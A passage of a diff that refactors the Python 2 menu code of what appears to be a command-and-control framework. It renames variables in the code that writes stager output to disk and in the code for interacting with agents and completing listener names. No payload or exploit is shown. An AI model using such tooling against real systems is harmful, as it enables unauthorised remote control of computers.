'wb') - f.write(bytearray(stagerOutput)) - f.close() + out_file = open(savePath, 'wb') + out_file.write(bytearray(stagerOutput)) + out_file.close() else: # otherwise normal output - f = open(savePath, 'w') - f.write(stagerOutput) - f.close() + out_file = open(savePath, 'w') + out_file.write(stagerOutput) + out_file.close() # if this is a bash script, make it executable if ".sh" in savePath: os.chmod(savePath, 777) - print "\n" + helpers.color("[*] Stager output written out to: "+savePath+"\n") + print "\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath)) + else: print stagerOutput @@ -2932,15 +2968,15 @@ def do_execute(self, line): def do_interact(self, line): "Interact with a particular agent." - + name = line.strip() if name != "" and self.mainMenu.agents.is_agent_present(name): # resolve the passed name to a sessionID sessionID = self.mainMenu.agents.get_agent_id(name) - a = AgentMenu(self.mainMenu, sessionID) - a.cmdloop() + agent_menu = AgentMenu(self.mainMenu, sessionID) + agent_menu.cmdloop() else: print helpers.color("[!] Please enter a valid agent name") @@ -2953,15 +2989,15 @@ def complete_set(self, text, line, begidx, endidx): if line.split(" ")[1].lower() == "listener": # if we're tab-completing a listener name, return all the names listenerNames = self.mainMenu.listeners.get_listener_names() - endLine = " ".join(line.split(" ")[1:]) + end_line = " ".join(line.split(" ")[1:]) - mline = endLine.partition(' ')[2] + mline = end_line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in listenerNames if s.startswith(mline)] elif line.split(" ")[1].lower().endswith("path"): # tab-complete any stager option that ends with 'path' - return helpers.complete_path(text,line,arg=True) + return helpers.complete_path(text, line, arg=True) # otherwise we're tab-completing an option name mline = line.partition(' ')[2] @@ -2986,4 +3022,4 @@ def complete_interact(self, text, line, begidx, endidx): mline = line.partition(' ')[2] offs = len(mline) - len(text) - return [s[offs:] for s in names if s.startswith(mline)] \ No newline at end of file + return [s[offs:] for s in names if s.startswith(mline)]